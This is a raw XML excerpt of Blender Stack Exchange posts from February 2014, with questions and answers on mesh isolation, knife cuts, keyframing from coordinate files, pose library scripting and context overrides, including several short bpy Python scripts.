  <row Id="6893" PostTypeId="2" ParentId="6890" CreationDate="2014-02-09T16:42:17.790" Score="27" Body="&lt;p&gt;You can isolate a specific part of a model to work on by going into &lt;em&gt;Edit&lt;/em&gt; mode and using &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;B&lt;/kbd&gt; (this toggles the isolated selection on/off) and drawing a square outline to focus on a specific area .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One advantage/disadvantage of this (depending on what you need) over just hiding other parts of your mesh with &lt;kbd&gt;H&lt;/kbd&gt; is that the entire model can still be affected by other tools such as ring cuts or proportional editing.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2014-02-09T17:43:54.990" LastActivityDate="2014-02-09T17:43:54.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6894" PostTypeId="2" ParentId="6890" CreationDate="2014-02-09T16:42:57.490" Score="13" Body="&lt;p&gt;Besides using Show/Hide feature, you can also use &lt;strong&gt;Mask&lt;/strong&gt; modifier and toggle the last two buttons as shown in the image below, which is more flexable by using vertex group:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kfBQK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2014-02-09T16:42:57.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6895" PostTypeId="2" ParentId="6889" CreationDate="2014-02-09T18:23:08.053" Score="4" Body="&lt;p&gt;It isn't currently supported yet, but still possible. You can say that the angle constrain is based on View coordiante, so let's try a tricky way:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Install &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/3D_interaction/Precise_Align&quot; rel=&quot;nofollow&quot;&gt;Precise Align&lt;/a&gt; addon (not a must-have, but very effective here);&lt;/li&gt;&#xA;&lt;li&gt;Select three vertices, including the specified vertex, click &lt;strong&gt;Create Empty&lt;/strong&gt; button in Precise Align panel in the Tool Shelf (T). Click on &lt;strong&gt;Swap Empty Origin&lt;/strong&gt; button to set it at the specified vertex if it hasn't been there. Also make sure &lt;strong&gt;Parent to Object&lt;/strong&gt; is toggled;&lt;/li&gt;&#xA;&lt;li&gt;Select the empty, &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Numpad 7&lt;/kbd&gt; to Align its local Top view (Local Z axis towards viewer), thus you can make one adjacent edge visually horizontal (or vertical);&lt;/li&gt;&#xA;&lt;li&gt;Keep the current point of view, &lt;kbd&gt;R&lt;/kbd&gt; to rotate the empty along its own pivot point by a specified angle (or the complement/supplementary angle, depending on how you rotate it);&lt;/li&gt;&#xA;&lt;li&gt;Select the mesh object, enter &lt;strong&gt;Edit&lt;/strong&gt; mode, enable &lt;strong&gt;Knife&lt;/strong&gt; tool, press &lt;kbd&gt;C&lt;/kbd&gt; to constrain horizontally or vertically based on the view (screen) coordinate. Repeat it if needed.&lt;/li&gt;&#xA;&lt;li&gt;Delete the empty. The mesh rotation will be regressed automatically.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;A &lt;a href=&quot;http://youtu.be/lNXk3w9ysYc&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;demo video&lt;/strong&gt;&lt;/a&gt; for better understanding. It's not perfect, but works.&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2014-02-10T01:27:29.827" LastActivityDate="2014-02-10T01:27:29.827" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6897" PostTypeId="2" ParentId="6891" CreationDate="2014-02-09T19:17:09.767" Score="3" Body="&lt;p&gt;There's a utility function &lt;code&gt;world_to_camera_view()&lt;/code&gt;, which makes it really easy to select the view frustum:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;from bpy_extras.object_utils import world_to_camera_view&#xA;&#xA;def main(self, context):&#xA;    sce = context.scene&#xA;    cam = sce.camera&#xA;    ob = context.object&#xA;    me = ob.data&#xA;    mat = ob.matrix_world&#xA;&#xA;    if not me.is_editmode:&#xA;        bpy.ops.object.mode_set(mode='EDIT')&#xA;&#xA;    bm = bmesh.from_edit_mesh(me)&#xA;&#xA;    if not self.extend:&#xA;        bpy.ops.mesh.select_all(action='DESELECT')&#xA;&#xA;    for v in bm.verts:&#xA;        x, y, z = world_to_camera_view(sce, cam, mat * v.co)&#xA;        if (0.0 &amp;lt;= x &amp;lt;= 1.0 and &#xA;            0.0 &amp;lt;= y &amp;lt;= 1.0 and&#xA;            (not self.clip or cam.data.clip_start &amp;lt; z &amp;lt; cam.data.clip_end)):&#xA;            v.select = True&#xA;&#xA;    bm.select_flush(True)&#xA;&#xA;&#xA;class MESH_OT_select_view_frustum(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Select geometry in view frustum (uses active object and scene camera)&quot;&quot;&quot;&#xA;    bl_idname = &quot;mesh.select_view_frustum&quot;&#xA;    bl_label = &quot;Select View Frustum&quot;&#xA;    bl_options = {'REGISTER', 'UNDO'}&#xA;&#xA;    clip = bpy.props.BoolProperty(&#xA;        name=&quot;Clip&quot;,&#xA;        description=&quot;Take camera near and far clipping distances into account&quot;,&#xA;        default=True&#xA;    )&#xA;&#xA;    extend = bpy.props.BoolProperty(&#xA;        name=&quot;Extend&quot;,&#xA;        description=&quot;Extend the current selection&quot;,&#xA;        default=False&#xA;    )&#xA;&#xA;    @classmethod&#xA;    def poll(cls, context):&#xA;        return (context.object is not None and&#xA;                context.object.type == 'MESH' and&#xA;                context.scene.camera is not None)&#xA;&#xA;    def execute(self, context):&#xA;        main(self, context)&#xA;        return {'FINISHED'}&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(MESH_OT_select_view_frustum)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(MESH_OT_select_view_frustum)&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-02-09T19:17:09.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6898" PostTypeId="2" ParentId="6786" CreationDate="2014-02-09T19:58:27.660" Score="4" Body="&lt;p&gt;Uploaded a &lt;a href=&quot;http://www.pasteall.org/49383/python&quot; rel=&quot;nofollow&quot;&gt;script here&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did not find the menu used by right-click. Put the operator into a menu named &lt;em&gt;Toggle&lt;/em&gt;. You might have to scroll the header.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, you can assign hotkeys to &lt;code&gt;bpy.ops.outliner.custom_toggle(type)&lt;/code&gt; where &lt;code&gt;type&lt;/code&gt; is from the set &lt;code&gt;{&quot;TOGVIS&quot;, &quot;TOGSEL&quot;, &quot;TOGREN&quot;}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did not test it yet for large scenes. &lt;/p&gt;&#xA;" OwnerUserId="2271" LastEditorUserId="2271" LastEditDate="2014-02-09T23:43:10.873" LastActivityDate="2014-02-09T23:43:10.873" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6899" PostTypeId="1" AcceptedAnswerId="6901" CreationDate="2014-02-09T22:19:26.357" Score="6" ViewCount="4030" Body="&lt;p&gt;I want to animate a body using an external file with &lt;strong&gt;x, y, z coordinates&lt;/strong&gt; and &lt;strong&gt;quaternion data&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the file every entry &lt;code&gt;[x,y,x,q0,q1,q2,q3]&lt;/code&gt; represents a frame to be rendered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I heard about Blender and its compatibility with python and, since I am a python user, I would like to know if it is possible to do what I mentioned above and how to do it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="2413" LastEditorUserId="1363" LastEditDate="2014-02-09T23:32:24.857" LastActivityDate="2014-02-12T00:40:40.270" Title="Animate with position and orientation from txt file" Tags="&lt;python&gt;&lt;animation&gt;&lt;import&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6900" PostTypeId="1" CreationDate="2014-02-09T22:21:41.233" Score="2" ViewCount="329" Body="&lt;p&gt;I would like to understand, in detail, the algorithm used by blenders simple deform modifier, specifically the bend tool. I have found the source code but I do not understand exactly what it is doing. It looks like it is assigning weights to the vertices but how does that make the mesh bend? How exactly are the weights chosen? I want to know because I would like to be able to predict how the mesh will deform without actually performing several tests to get it just right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there more detailed documentation somewhere or perhaps a paper which describes the general algorithm? Also, if there is a better place to ask this type of question please let me know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2414" LastActivityDate="2014-03-12T09:09:18.763" Title="How exactly does Blender perform a simple deformation?" Tags="&lt;mesh&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6901" PostTypeId="2" ParentId="6899" CreationDate="2014-02-09T23:32:03.760" Score="4" Body="&lt;p&gt;It's very possible, and doesn't even sound difficult to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure &lt;code&gt;Object.rotation_mode&lt;/code&gt; is &lt;code&gt;'QUATERNION'&lt;/code&gt; (once for the object):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ob = bpy.context.object # active object, assuming there is one&#xA;ob.rotation_mode = 'QUATERNION'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Reading the file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from mathutils import Vector, Quaternion&#xA;&#xA;file = open(&quot;input.txt&quot;, &quot;r&quot;)&#xA;for line in file:&#xA;    x, y, z, q0, q1, q2, q3 = line.strip(&quot; \t\r\n[]&quot;).split(&quot;,&quot;)&#xA;    loc = float(x), float(y), float(z)&#xA;    quat = float(q0), float(q1), float(q2), float(q3)&#xA;&#xA;    # Or cast to Vector / Quaternion type if you need any methods of them later&#xA;    #loc = Vector(loc)&#xA;    #quat = Quaternion(quat)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I assume line 1 in the file is meant to be the first frame in Blender and so on. Let's keep track of the line number:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for i, line in enumerate(file, 1):&#xA;    ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Assign the location and the rotation in our for-loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    ob.location = loc&#xA;    ob.rotation_quaternion = quat&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and insert keyframes for frame &lt;code&gt;i&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    ob.keyframe_insert('location', frame=i)&#xA;    ob.keyframe_insert('rotation_quaternion', frame=i)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Finally, we close the file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;file.close()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For a better performaning way to animate with python, see:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_10/info_quickstart.html#animation&quot; rel=&quot;nofollow&quot;&gt;http://www.blender.org/documentation/blender_python_api_2_69_10/info_quickstart.html#animation&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2014-02-12T00:40:40.270" LastActivityDate="2014-02-12T00:40:40.270" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6902" PostTypeId="2" ParentId="6297" CreationDate="2014-02-09T23:35:16.447" Score="1" Body="&lt;p&gt;There exists a workaround (at least it works 100% in my setup)!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have enabled &lt;strong&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Physics/Fluid/animated_mesh_export&quot; rel=&quot;nofollow&quot;&gt;Export Animated Mesh&lt;/a&gt;&lt;/strong&gt; option for all moving fluid obstacle objects and it works!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only downside is that it enforces &lt;strong&gt;No Slip&lt;/strong&gt; and is slower according to the documentation inside Blender.&lt;/p&gt;&#xA;" OwnerUserId="1743" LastActivityDate="2014-02-09T23:35:16.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6904" PostTypeId="1" CreationDate="2014-02-10T03:23:31.007" Score="1" ViewCount="988" Body="&lt;p&gt;Is there a way to reliably disable mipmapping in the file itself, so that blenderplayer will respect the setting and not interpolate textures?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And no, I'm not making a Minecraft clone.&lt;/p&gt;&#xA;" OwnerUserId="195" LastActivityDate="2017-04-29T02:06:13.010" Title="Disable mipmaps for BGE?" Tags="&lt;texturing&gt;&lt;game-engine&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6905" PostTypeId="1" AcceptedAnswerId="6919" CreationDate="2014-02-10T07:04:35.017" Score="4" ViewCount="5846" Body="&lt;p&gt;I'm making an animation of origami.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8pdoH.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://www.youtube.com/watch?v=Y-zmDB4Hxik&amp;amp;feature=youtube_gdata&quot; rel=&quot;nofollow noreferrer&quot;&gt;animation test&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not easy to understand overlapping portions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wanna set different colors to each side of paper.&lt;/p&gt;&#xA;" OwnerUserId="2362" LastEditorUserId="12" LastEditDate="2014-02-10T11:44:44.163" LastActivityDate="2014-05-17T15:39:53.017" Title="How to set different colors to each side of plane" Tags="&lt;materials&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6907" PostTypeId="2" ParentId="6904" CreationDate="2014-02-10T07:15:56.957" Score="3" Body="&lt;p&gt;Mipmaps is a system setting, it would be set by the users startup blend file. Not sure that anyone would recommend overriding a users choice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To change it you would use python to set &lt;code&gt;bpy.context.user_preferences.system.use_mipmaps&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-02-10T07:15:56.957" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6908" PostTypeId="1" AcceptedAnswerId="6913" CreationDate="2014-02-10T08:10:46.080" Score="2" ViewCount="1037" Body="&lt;p&gt;When the &lt;code&gt;bpy.ops.poselib.apply_pose&lt;/code&gt; operator is applied from the UI it works fine, all selected bone groups get the pose applied.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Yd7If.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Doing the same from the console or script seems to have no effect:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.poselib.apply_pose(0)&#xA;{'FINISHED'}&#xA;&#xA;bpy.ops.poselib.apply_pose(2)&#xA;{'FINISHED'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The full script:&#xA;It should read a control file &quot;pose.txt&quot; and apply poses to selected bone groups for each defined frame&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;# http://www.blender.org/documentation/blender_python_api_2_69_9/bpy.ops.pose.html&#xA;&#xA;target_map = { &quot;Root&quot; : 0,      &#xA; &quot;Spine&quot; : 1,&#xA; &quot;ArmFK.L&quot; : 3,&#xA; &quot;LegIK.L&quot; : 4,&#xA; &quot;Fingers.L&quot; : 6,&#xA; &quot;Links.L&quot; : 7,&#xA; &quot;ArmFK.R&quot; : 20,&#xA; &quot;LegIK.R&quot; : 21,&#xA; &quot;Fingers.R&quot; :23,&#xA; &quot;Links.R&quot; : 24 } &#xA;&#xA;def get_pose_index(obj, pose_name ):&#xA;    idx = 0&#xA;    for pm in obj.pose_library.pose_markers:&#xA;        if pose_name == pm.name:&#xA;            return idx&#xA;        idx += 1&#xA;    return None&#xA;&#xA;def build_layers(targets):&#xA;    layers = []&#xA;    for i in range (0, 32):&#xA;        layers.append(False)&#xA;    for t in targets:&#xA;        idx = target_map[ t ]&#xA;        if idx is not None:&#xA;            layers[idx] = True&#xA;    layers = tuple( layers )&#xA;    return layers&#xA;&#xA;def apply( obj, targets, pose_name):&#xA;    idx = get_pose_index( obj, pose_name )&#xA;    if idx is None:&#xA;        print(&quot;pose %s not found.&quot; % pose_name )&#xA;    sel_layers = build_layers( targets )&#xA;    print(sel_layers)&#xA;    bpy.ops.pose.armature_layers(layers=sel_layers)&#xA;    bpy.ops.pose.select_all(action='SELECT')&#xA;    print(idx)&#xA;&#xA;    bpy.ops.anim.keyframe_insert(type='BUILTIN_KSI_LocRot')&#xA;&#xA;&#xA;txt = bpy.data.texts[&quot;pose.txt&quot;].as_string()&#xA;for line in txt.splitlines():&#xA;    if line.find(&quot; &quot;) != -1 and line.find(&quot;#&quot;) == -1:&#xA;        sframe,rig_and_poses= line.split(&quot; &quot;)&#xA;        rest=rig_and_poses.split(&quot;:&quot;)&#xA;        print(&quot;frame :%s&quot; % sframe )&#xA;        obj_name=rest[0]&#xA;        poses=rest[1]&#xA;        pose_list=poses.split(&quot;,&quot;)&#xA;        bpy.context.scene.frame_set( int( sframe ))&#xA;        for assignment in pose_list:&#xA;            targets = []&#xA;&#xA;            bone_group_name,pose_name=assignment.split(&quot;=&quot;)&#xA;            if bone_group_name.startswith(&quot;Hand.L&quot;):&#xA;                targets.append(&quot;Fingers.L&quot;)&#xA;                targets.append(&quot;Links.L&quot;)&#xA;            elif bone_group_name.startswith(&quot;Hand.R&quot;):&#xA;                targets.append(&quot;Fingers.R&quot;)&#xA;                targets.append(&quot;Links.R&quot;)&#xA;            else:&#xA;                targets.append( bone_group_name )&#xA;&#xA;            obj = bpy.data.objects.get(obj_name)&#xA;            if obj == None:&#xA;                print(&quot;obj name=&quot; + obj_name + &quot; not found.&quot;)&#xA;                break&#xA;            print(&quot;assign obj:%s bone_group:%s, pose:%s&quot; % (obj, bone_group_name, pose_name))&#xA;            apply(  obj, targets, pose_name)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pasteall.org/blend/26765&quot; rel=&quot;nofollow noreferrer&quot;&gt;.blend file&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pasteall.org/blend/http://www.pasteall.org/blend/26767&quot; rel=&quot;nofollow noreferrer&quot;&gt;Updated .blend file&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2014-02-10T10:21:39.853" LastActivityDate="2014-02-10T16:34:42.517" Title="Why does the apply_pose operater not work when invoked from a script?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;animation&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6909" PostTypeId="2" ParentId="6900" CreationDate="2014-02-10T08:12:56.997" Score="2" Body="&lt;p&gt;By following the file history I can find that it was originally developed in the soc-2008-jaguarandi branch. The original documentation for it &lt;a href=&quot;http://wiki.blender.org/index.php/User%3aJaguarandi/SummerOfCode2008/SimpleDeform&quot; rel=&quot;nofollow&quot;&gt;is here&lt;/a&gt; but I don't see any explanation of the algorithm used and there are no comments on papers used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you could find a copy of the gsoc application it may have a description of the algorithm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's also possible that you could contact jaguarandi who may still remember how it works.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-02-10T08:12:56.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6910" PostTypeId="1" AcceptedAnswerId="6916" CreationDate="2014-02-10T08:54:21.290" Score="1" ViewCount="1232" Body="&lt;p&gt;I need to process a mesh so that all of the edges are below a certain threshold, say x units.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I am throwing a mesh into an acoustic simulator, which requires the longest edge length to be &amp;lt; 1/3 of the maximum wavelength)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can accomplish this with a Python script?&lt;/p&gt;&#xA;" OwnerUserId="1693" LastEditorUserId="1693" LastEditDate="2014-02-11T10:24:38.720" LastActivityDate="2014-02-11T10:24:38.720" Title="Python: process mesh so that longest edge length &lt; x" Tags="&lt;python&gt;&lt;mesh&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6911" PostTypeId="2" ParentId="6889" CreationDate="2014-02-10T09:03:10.837" Score="2" Body="&lt;p&gt;Another option is using Knife Project (added in 2.67)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Start by adding an object to use as the cutter, for a straight line at an angle a plane is a good start. Rotate it the specified angle you want. Align it with the object you wish to cut. Scale it so it covers the area to cut.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the cutter selected shift select the object to cut and enter edit mode. Choose Knife Project, this is available under Mesh Tools in the toolbar or by searching for Knife Project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most accurate results would be achieved in a preset orthogonal view to get best alignment. You can also use snapping and entering a calculated location to get a precise placement for the cut.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Up to 2.69 it only cuts the top face. In current trunk builds (to be available in 2.70) you also have the option to cut through, so that it cuts through all sides of a non-flat mesh. This is available in the operator options at the bottom of the toolbar or by pressing &lt;kbd&gt;F6&lt;/kbd&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-02-10T09:03:10.837" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6912" PostTypeId="2" ParentId="6908" CreationDate="2014-02-10T09:25:27.770" Score="3" Body="&lt;p&gt;If an operator is called from the UI it is implicitly given a context which depends on the area the operator has been called from and contains specific information about that area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case you are calling an operator from the text area which is supposed to be called from the properties area. It is given the wrong context and can not retrieve the information it needs from it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_release/bpy.ops.html?highlight=override&quot; rel=&quot;nofollow&quot;&gt;How to override a context&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_release/bpy.context.html&quot; rel=&quot;nofollow&quot;&gt;An overview of the different contexts and their contents&lt;/a&gt; &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_release/info_gotcha.html#using-operators&quot; rel=&quot;nofollow&quot;&gt;Gotcha Operators&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_release/bpy.context.html#text-context&quot; rel=&quot;nofollow&quot;&gt;text context&lt;/a&gt;&#xA;there is only &lt;code&gt;edit_text&lt;/code&gt; available. The &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_release/bpy.context.html#global-context&quot; rel=&quot;nofollow&quot;&gt;global context&lt;/a&gt; does not contain information about the active object and the selected pose bones, neither. But the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_release/bpy.context.html#screen-context&quot; rel=&quot;nofollow&quot;&gt;screen context&lt;/a&gt; does.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However here is an example how to override the context in this case:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;#get your armature&#xA;obj = bpy.data.objects['Armature']&#xA;selected_bones = [pose_bone for pose_bone in obj.pose.bones if pose_bone.bone.select]&#xA;&#xA;context = {}&#xA;context['scene'] = bpy.context.scene&#xA;context['active_object'] = obj&#xA;context['selected_pose_bones'] = selected_bones&#xA;&#xA;bpy.ops.poselib.apply_pose(context, pose_index=1)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the minimal content which is required to run the operator. It still gives warnings. Messages about &lt;code&gt;window&lt;/code&gt;, &lt;code&gt;screen&lt;/code&gt;, &lt;code&gt;area&lt;/code&gt;, &lt;code&gt;region&lt;/code&gt; not being found often can be ignored. You might pass &lt;code&gt;None&lt;/code&gt; for these entrys to suppress the warnings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: How to refer to an area in the same screen where the operator is being run from&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;context['window'] = context.window&#xA;context['screen'] = context.screen&#xA;for area in context.screen.areas:&#xA;    if area.type == 'PROPERTIES':&#xA;         break&#xA;context['area'] = area&#xA;context['region'] = area.regions[1]&#xA;context['space_data'] = area.spaces[0]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2271" LastEditorUserId="2271" LastEditDate="2014-02-10T16:34:42.517" LastActivityDate="2014-02-10T16:34:42.517" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6913" PostTypeId="2" ParentId="6908" CreationDate="2014-02-10T09:32:21.577" Score="2" Body="&lt;p&gt;You missed the call to &lt;code&gt;bpy.ops.poselib.apply_pose()&lt;/code&gt; also the index has to be passed by name&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def apply( obj, targets, pose_name):&#xA;    idx = get_pose_index( obj, pose_name )&#xA;    if idx is None:&#xA;        print(&quot;pose %s not found.&quot; % pose_name )&#xA;    sel_layers = build_layers( targets )&#xA;    print(sel_layers)&#xA;    bpy.ops.pose.armature_layers(layers=sel_layers)&#xA;    bpy.ops.pose.select_all(action='SELECT')&#xA;    print(idx)&#xA;    bpy.ops.poselib.apply_pose(pose_index=idx) # add this line &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&#xA;    bpy.ops.anim.keyframe_insert(type='BUILTIN_KSI_LocRot')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="935" LastEditorUserId="935" LastEditDate="2014-02-10T11:21:34.403" LastActivityDate="2014-02-10T11:21:34.403" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6914" PostTypeId="1" AcceptedAnswerId="18167" CreationDate="2014-02-10T09:57:09.800" Score="1" ViewCount="580" Body="&lt;p&gt;Not long ago I have discovered the full sample feature on Blender.&#xA;The feature is great and helps a lot. The problem is that whenever I render a frame with Full sample, the image is anti-aliased, but if I change something in the compositor, the image becomes aliased and remain jagged unless I render the entire frame. It is slowing me down because sometimes it takes several hours for a frame to render. Is it just like that, is there any way to avoid re rendering? &#xA;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="2422" LastActivityDate="2014-10-24T21:30:12.073" Title="Need to re-render every time I change something in the compositor because of full sample" Tags="&lt;rendering&gt;&lt;compositor&gt;&lt;antialiasing&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6915" PostTypeId="1" CreationDate="2014-02-10T10:08:56.697" Score="0" ViewCount="11666" Body="&lt;p&gt;How to check whether the list (of vertices) exists?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to append a new vertex to a list or create one if it does not exists.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if verts is not exist:&#xA;    verts = [[0,0,0]]&#xA;    edges = []&#xA;    faces = []&#xA;else: verts.append([1,1,1])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2423" LastEditorUserId="12" LastEditDate="2014-02-10T11:43:49.033" LastActivityDate="2014-02-10T15:27:36.983" Title="How to check whether a list exists?" Tags="&lt;python&gt;&lt;vertices&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
